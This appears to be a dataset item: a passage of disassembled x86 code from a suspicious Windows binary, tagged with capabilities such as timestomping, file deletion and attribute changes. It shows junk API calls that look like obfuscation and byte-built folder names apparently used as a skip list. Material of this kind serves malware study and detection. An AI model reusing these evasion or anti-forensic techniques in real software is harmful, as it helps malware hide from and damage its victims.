Function at 0x426658
Capabilities:
Allocate thread local storage
Delete directory
Delete file
Get common file path
Get graphical window text
Read file on windows
Resume thread
Set console window title
Set current directory
Set environment variable
Set file attributes
Suspend thread
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
lea eax, [ebp + 0xc]
xor esi, esi
test eax, eax
push edi
jne 0x4272fc
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ebx, dword [sym.imp.MSVCRT.dll_toupper]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x4266af
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x4266af
cmp byte [ebp - 7], 0x3a
jne 0x4266af
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x4266ed
call esi
test eax, eax
je 0x4266d9
cmp byte [ebp - 3], 0x3a
jne 0x4266d9
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426701
call esi
test eax, eax
je 0x426701
cmp byte [ebp - 3], 0x3a
jne 0x426701
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x42671b
cmp byte [ebp - 3], 0x3a
jne 0x42671b
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426747
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426747
cmp byte [ebp - 7], 0x3a
jne 0x426747
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x42677f
call esi
test eax, eax
je 0x42676b
cmp byte [ebp - 3], 0x3a
jne 0x42676b
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426793
call esi
test eax, eax
je 0x426793
cmp byte [ebp - 3], 0x3a
jne 0x426793
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x4267ad
cmp byte [ebp - 3], 0x3a
jne 0x4267ad
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x4267d9
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x4267d9
cmp byte [ebp - 7], 0x3a
jne 0x4267d9
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426811
call esi
test eax, eax
je 0x4267fd
cmp byte [ebp - 3], 0x3a
jne 0x4267fd
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426825
call esi
test eax, eax
je 0x426825
cmp byte [ebp - 3], 0x3a
jne 0x426825
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x42683f
cmp byte [ebp - 3], 0x3a
jne 0x42683f
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenEventW]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426879
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426879
cmp byte [ebp - 7], 0x3a
jne 0x426879
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x4268b1
call esi
test eax, eax
je 0x42689d
cmp byte [ebp - 3], 0x3a
jne 0x42689d
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x4268c5
call esi
test eax, eax
je 0x4268c5
cmp byte [ebp - 3], 0x3a
jne 0x4268c5
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x4268df
cmp byte [ebp - 3], 0x3a
jne 0x4268df
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426916
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426916
cmp byte [ebp - 7], 0x3a
jne 0x426916
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x42694e
call esi
test eax, eax
je 0x42693a
cmp byte [ebp - 3], 0x3a
jne 0x42693a
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426962
call esi
test eax, eax
je 0x426962
cmp byte [ebp - 3], 0x3a
jne 0x426962
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x42697c
cmp byte [ebp - 3], 0x3a
jne 0x42697c
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x4269aa
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x4269aa
cmp byte [ebp - 7], 0x3a
jne 0x4269aa
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x4269e2
call esi
test eax, eax
je 0x4269ce
cmp byte [ebp - 3], 0x3a
jne 0x4269ce
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x4269f6
call esi
test eax, eax
je 0x4269f6
cmp byte [ebp - 3], 0x3a
jne 0x4269f6
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426a10
cmp byte [ebp - 3], 0x3a
jne 0x426a10
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426a44
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426a44
cmp byte [ebp - 7], 0x3a
jne 0x426a44
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426a7c
call esi
test eax, eax
je 0x426a68
cmp byte [ebp - 3], 0x3a
jne 0x426a68
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426a90
call esi
test eax, eax
je 0x426a90
cmp byte [ebp - 3], 0x3a
jne 0x426a90
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426aaa
cmp byte [ebp - 3], 0x3a
jne 0x426aaa
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426ad8
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426ad8
cmp byte [ebp - 7], 0x3a
jne 0x426ad8
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426b10
call esi
test eax, eax
je 0x426afc
cmp byte [ebp - 3], 0x3a
jne 0x426afc
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426b24
call esi
test eax, eax
je 0x426b24
cmp byte [ebp - 3], 0x3a
jne 0x426b24
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426b3e
cmp byte [ebp - 3], 0x3a
jne 0x426b3e
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426b6a
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426b6a
cmp byte [ebp - 7], 0x3a
jne 0x426b6a
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426ba2
call esi
test eax, eax
je 0x426b8e
cmp byte [ebp - 3], 0x3a
jne 0x426b8e
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426bb6
call esi
test eax, eax
je 0x426bb6
cmp byte [ebp - 3], 0x3a
jne 0x426bb6
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426bd0
cmp byte [ebp - 3], 0x3a
jne 0x426bd0
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426bfe
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426bfe
cmp byte [ebp - 7], 0x3a
jne 0x426bfe
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426c36
call esi
test eax, eax
je 0x426c22
cmp byte [ebp - 3], 0x3a
jne 0x426c22
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426c4a
call esi
test eax, eax
je 0x426c4a
cmp byte [ebp - 3], 0x3a
jne 0x426c4a
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426c64
cmp byte [ebp - 3], 0x3a
jne 0x426c64
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426c8e
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426c8e
cmp byte [ebp - 7], 0x3a
jne 0x426c8e
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426cc6
call esi
test eax, eax
je 0x426cb2
cmp byte [ebp - 3], 0x3a
jne 0x426cb2
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426cda
call esi
test eax, eax
je 0x426cda
cmp byte [ebp - 3], 0x3a
jne 0x426cda
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426cf4
cmp byte [ebp - 3], 0x3a
jne 0x426cf4
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426d23
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426d23
cmp byte [ebp - 7], 0x3a
jne 0x426d23
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426d5b
call esi
test eax, eax
je 0x426d47
cmp byte [ebp - 3], 0x3a
jne 0x426d47
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426d6f
call esi
test eax, eax
je 0x426d6f
cmp byte [ebp - 3], 0x3a
jne 0x426d6f
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426d89
cmp byte [ebp - 3], 0x3a
jne 0x426d89
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426db7
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426db7
cmp byte [ebp - 7], 0x3a
jne 0x426db7
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426def
call esi
test eax, eax
je 0x426ddb
cmp byte [ebp - 3], 0x3a
jne 0x426ddb
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426e03
call esi
test eax, eax
je 0x426e03
cmp byte [ebp - 3], 0x3a
jne 0x426e03
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426e1d
cmp byte [ebp - 3], 0x3a
jne 0x426e1d
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426e4b
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426e4b
cmp byte [ebp - 7], 0x3a
jne 0x426e4b
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426e83
call esi
test eax, eax
je 0x426e6f
cmp byte [ebp - 3], 0x3a
jne 0x426e6f
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426e97
call esi
test eax, eax
je 0x426e97
cmp byte [ebp - 3], 0x3a
jne 0x426e97
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426eb1
cmp byte [ebp - 3], 0x3a
jne 0x426eb1
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426edd
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426edd
cmp byte [ebp - 7], 0x3a
jne 0x426edd
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426f15
call esi
test eax, eax
je 0x426f01
cmp byte [ebp - 3], 0x3a
jne 0x426f01
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426f29
call esi
test eax, eax
je 0x426f29
cmp byte [ebp - 3], 0x3a
jne 0x426f29
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426f43
cmp byte [ebp - 3], 0x3a
jne 0x426f43
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x426f73
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x426f73
cmp byte [ebp - 7], 0x3a
jne 0x426f73
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x426fab
call esi
test eax, eax
je 0x426f97
cmp byte [ebp - 3], 0x3a
jne 0x426f97
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x426fbf
call esi
test eax, eax
je 0x426fbf
cmp byte [ebp - 3], 0x3a
jne 0x426fbf
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x426fd9
cmp byte [ebp - 3], 0x3a
jne 0x426fd9
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x427012
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x427012
cmp byte [ebp - 7], 0x3a
jne 0x427012
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x42704a
call esi
test eax, eax
je 0x427036
cmp byte [ebp - 3], 0x3a
jne 0x427036
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x42705e
call esi
test eax, eax
je 0x42705e
cmp byte [ebp - 3], 0x3a
jne 0x42705e
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x427078
cmp byte [ebp - 3], 0x3a
jne 0x427078
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x4270a7
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x4270a7
cmp byte [ebp - 7], 0x3a
jne 0x4270a7
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x4270df
call esi
test eax, eax
je 0x4270cb
cmp byte [ebp - 3], 0x3a
jne 0x4270cb
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x4270f3
call esi
test eax, eax
je 0x4270f3
cmp byte [ebp - 3], 0x3a
jne 0x4270f3
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x42710d
cmp byte [ebp - 3], 0x3a
jne 0x42710d
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x427139
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x427139
cmp byte [ebp - 7], 0x3a
jne 0x427139
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x427171
call esi
test eax, eax
je 0x42715d
cmp byte [ebp - 3], 0x3a
jne 0x42715d
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x427185
call esi
test eax, eax
je 0x427185
cmp byte [ebp - 3], 0x3a
jne 0x427185
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x42719f
cmp byte [ebp - 3], 0x3a
jne 0x42719f
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x4271cf
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x4271cf
cmp byte [ebp - 7], 0x3a
jne 0x4271cf
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x427207
call esi
test eax, eax
je 0x4271f3
cmp byte [ebp - 3], 0x3a
jne 0x4271f3
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x42721b
call esi
test eax, eax
je 0x42721b
cmp byte [ebp - 3], 0x3a
jne 0x42721b
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x427235
cmp byte [ebp - 3], 0x3a
jne 0x427235
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
lea eax, [ebp + 0xc]
cmp eax, 0xd5
jne 0x427296
lea eax, [ebp - 8]
push eax
push 3
call esi
test eax, eax
je 0x427296
cmp byte [ebp - 7], 0x3a
jne 0x427296
movzx eax, byte [ebp - 8]
push eax
call ebx
pop ecx
lea eax, [ebp + 0xc]
cmp eax, 0x4db
lea eax, [ebp - 4]
push eax
push 3
jne 0x4272ce
call esi
test eax, eax
je 0x4272ba
cmp byte [ebp - 3], 0x3a
jne 0x4272ba
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
and byte [ebp - 6], 0
lea eax, [ebp - 8]
push eax
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x3a
call edi
jmp 0x4272e2
call esi
test eax, eax
je 0x4272e2
cmp byte [ebp - 3], 0x3a
jne 0x4272e2
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
lea eax, [ebp - 4]
push eax
push 3
call esi
test eax, eax
je 0x4272fc
cmp byte [ebp - 3], 0x3a
jne 0x4272fc
movzx eax, byte [ebp - 4]
push eax
call ebx
pop ecx
push 0
push 0x70
push 0x6f
push 0x74
push 0x6b
push 0x73
push 0x65
lea eax, [ebp - 0x6c]
pop edi
push edi
push 0x64
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push dword [ebp + 0xc]
call dword [eax + 0x1e0]
add esp, 0x2c
test eax, eax
jne 0x427337
xor eax, eax
jmp 0x42778c
push 0
push 0xe6
push 0xc3
push 0xc0
lea eax, [ebp - 0x6c]
push 0xd7
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push dword [ebp + 0xc]
call dword [eax + 0x1e0]
add esp, 0x20
test eax, eax
je 0x427330
push 0
push 0x5c
pop esi
lea eax, [ebp - 0x6c]
push esi
push 0x70
push 0x6d
push edi
push 0x74
push esi
push eax
call fcn.004105df
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x28
test eax, eax
jne 0x427330
push eax
push esi
push 0x73
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x77
push esi
lea eax, [ebp - 0x6c]
push 0x3a
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x38
test eax, eax
jne 0x427330
push eax
push 0x66
push edi
push 0x69
push 0x68
push 0x74
push 0x74
push edi
lea eax, [ebp - 0x6c]
push 0x6e
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x30
test eax, eax
jne 0x427330
push eax
push 0x72
push edi
push 0x64
push 0x6e
push 0x69
push 0x62
push edi
push 0x78
lea eax, [ebp - 0x6c]
push edi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x34
test eax, eax
jne 0x427330
push eax
push esi
push 0x71
push 0x71
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x20
test eax, eax
jne 0x427330
push eax
push 0x6f
push 0x69
push 0x64
push 0x75
push 0x74
push 0x73
push 0x20
push 0x6c
push 0x61
push 0x75
push 0x73
push 0x69
lea eax, [ebp - 0x6c]
push 0x76
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x44
test eax, eax
jne 0x427330
push eax
push esi
push edi
push 0x63
push 0x69
push 0x66
push 0x66
push 0x6f
push 0x20
push 0x74
push 0x66
push 0x6f
push 0x73
push 0x6f
push 0x72
push 0x63
push 0x69
push 0x6d
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x58
test eax, eax
jne 0x427330
push eax
push esi
push 0x72
push edi
push 0x64
push 0x6e
push 0x75
push 0x68
push 0x74
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x34
test eax, eax
jne 0x427330
push eax
push esi
push 0x30
push 0x36
push 0x33
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x24
test eax, eax
jne 0x427330
push eax
push esi
push 0x67
push 0x6e
push 0x61
push 0x77
push 0x67
push 0x6e
push 0x61
push 0x77
push 0x69
push 0x6c
push 0x61
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x44
test eax, eax
jne 0x427330
push eax
push esi
push 0x72
push edi
push 0x72
push 0x6f
